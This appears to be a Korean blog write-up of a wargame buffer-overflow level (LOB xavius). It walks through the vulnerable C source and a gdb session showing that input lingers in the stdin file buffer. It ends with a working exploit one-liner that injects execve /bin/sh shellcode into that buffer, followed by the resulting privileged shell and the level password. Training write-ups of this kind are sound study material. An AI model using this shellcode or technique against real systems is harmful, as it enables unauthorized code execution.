System hacking training/Hackerschool LOB

LEVEL 19 xavius write-up

fkillrra 2018. 8. 12. 18:47
nightmare -> xavius
풀이를 하였습니다.

[nightmare@localhost nightmare]$ cat xavius.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - xavius
        - arg
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

main()
{
    char buffer[40];
    char *ret_addr;

    // overflow!
    fgets(buffer, 256, stdin);
    printf("%s\n", buffer);

    if(*(buffer+47) == '\xbf')
    {
        printf("stack retbayed you!\n");
        exit(0);
    }

    if(*(buffer+47) == '\x08')
        {
                printf("binary image retbayed you, too!!\n");
                exit(0);
        }

    // check if the ret_addr is library function or not
    memcpy(&ret_addr, buffer+44, 4);
    while(memcmp(ret_addr, "\x90\x90", 2) != 0)    // end point of function
    {
        if(*ret_addr == '\xc9'){        // leave
            if(*(ret_addr+1) == '\xc3'){    // ret
                printf("You cannot use library function!\n");
                exit(0);
            }
        }
        ret_addr++;
    }

        // stack destroyer
        memset(buffer, 0, 44);
    memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

    // LD_* eraser
    // 40 : extra space for memset function
    memset(buffer-3000, 0, 3000-40);
}

문제는 다음과 같습니다.
// overflow! 부분에서 buffer가 40byte로 할당 되었음에도 stdin으로 256byte 입력을 받아 bof가 터집니다.
그리고 ret공간에 스택과 코드영역으로 return 할 것을 대비하여 그 부분을 막아놨습니다.

// check if the ret_addr is library function or not 부분에서는 ret_addr에 buffer+44(return address)를 memcpy 해주고 leave, ret 가젯을 검사합니다.
이로인해서 제가 아는 스택은 전혀 사용을 못하게 됩니다.

여기서 주목해야 할 점은 fgets() 함수를 이용하여 stdin으로 부터 입력을 256byte 받는다는 점입니다.

stdin객체 <_IO_2_1_stdin_>은 _IO_FILE type으로 _IO_FILE은 /usr/include/libio.h에 정의되어있는데요.
살펴보면 다음과 같습니다.

[nightmare@localhost nightmare]$ cat /usr/include/libio.h

struct _IO_FILE {
  int _flags;        /* High-order word is _IO_MAGIC; rest is flags. */        -> flag
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;    /* Current read pointer */             -> 현재 읽어야할 위치
  char* _IO_read_end;    /* End of get area. */                    -> get area의 끝
  char* _IO_read_base;    /* Start of putback+get area. */        -> get area의 시작점
  char* _IO_write_base;    /* Start of put area. */
  char* _IO_write_ptr;    /* Current put pointer. */
  char* _IO_write_end;    /* End of put area. */
                    . . . .

그렇다면 이 공간을 이용할 수 있는지 알아봐야겠죠?

[nightmare@localhost tmp]$ gdb -q xavius
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x8048714 <main>:    push   %ebp
0x8048715 <main+1>:    mov    %ebp,%esp
0x8048717 <main+3>:    sub    %esp,44
0x804871a <main+6>:    mov    %eax,%ds:0x8049a3c
0x804871f <main+11>:    push   %eax
0x8048720 <main+12>:    push   0x100
0x8048725 <main+17>:    lea    %eax,[%ebp-40]
0x8048728 <main+20>:    push   %eax
0x8048729 <main+21>:    call   0x8048408 <fgets>
        . . . . . . . .
(gdb)

cp로 바이너리를 복사하여 gdb로 main의 어셈블리 코드를 보면 모든 인자를 eax에 복사하여 push하는 것을 볼 수 있는데
인자값이 가장 먼저 push되는 stdin의 주소가 0x8048a3c라는 것을 알 수 있습니다.

(gdb) b * 0x8048728
Breakpoint 1 at 0x8048728
(gdb) b * 0x8048731
Breakpoint 2 at 0x8048731
(gdb) b * 0x8048829
Breakpoint 3 at 0x8048829

bp를 fgets() 함수가 호출되기 전,  호출된 후 마지막으로 스택이 모두 정리되었을때의 스택 상태를 보기 위해 leave instruction에 걸어두고
값이 들어가서 초기화되지 않는것을 확인하면 될것 같습니다.

(gdb) r
Starting program: /home/nightmare/tmp/xavius

Breakpoint 1, 0x8048728 in main ()
(gdb) x/x 0x8049a3c
0x8049a3c <stdin@@GLIBC_2.0>:    0x401068c0
(gdb) x/4wx 0x401068c0
0x401068c0 <_IO_2_1_stdin_>:    0xfbad2088    0x00000000    0x00000000    0x00000000
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 2, 0x8048731 in main ()
(gdb) x/x 0x8049a3c
0x8049a3c <stdin@@GLIBC_2.0>:    0x401068c0
(gdb) x/4wx 0x401068c0
0x401068c0 <_IO_2_1_stdin_>:    0xfbad2288    0x40015065    0x40015065    0x40015000
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


Program received signal SIGSEGV, Segmentation fault.
0x40077f72 in memcmp () from /lib/libc.so.6
(gdb) x/x 0x8049a3c
0x8049a3c <stdin@@GLIBC_2.0>:    0x401068c0
(gdb) x/4wx 0x401068c0
0x401068c0 <_IO_2_1_stdin_>:    0xfbad2288    0x40015065    0x40015065    0x40015000
(gdb) x/24wx 0x40015000
0x40015000:    0x41414141    0x41414141    0x41414141    0x41414141
0x40015010:    0x41414141    0x41414141    0x41414141    0x41414141
0x40015020:    0x41414141    0x41414141    0x41414141    0x41414141
0x40015030:    0x41414141    0x41414141    0x41414141    0x41414141
0x40015040:    0x41414141    0x41414141    0x41414141    0x41414141
0x40015050:    0x41414141    0x41414141    0x41414141    0x41414141


사실 _IO_FILE 구조체는 fgets에서 인자로 넘어왔을 뿐이라서 fgets() 와 관련이 없습니다.
또 초기화 하는 방법이 있지만 이 또한 입력 버퍼 자체를 초기화 하는것이 아니라고 합니다.

이는 _IO_FILE의 현재 읽어야하는 위치인 char* _IO_read_ptr의 값을 get area의 끝을 나타내는 char* _IO_read_end의 값과 동일하게 하는 것이지 get area 자체를 초기화하지 않는다고 합니다. 
이런 이유에서 우리가 입력한 A가 스택에 그대로 남아있는것을 알 수 있습니다.
그렇다면 이곳에 쉘코드를 넣고 return 하면 exploit을 할 수 있을것 같습니다.

[nightmare@localhost nightmare]$ (python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x00\x50\x01\x40"';cat)|./xavius
1󿿐h//shh/bin⏓󿲒°
               ̀
id
uid=518(nightmare) gid=518(nightmare) euid=519(xavius) egid=519(xavius) groups=518(nightmare)
my-pass
euid = 519
throw me away

이상 풀이를 마칩니다.
반응형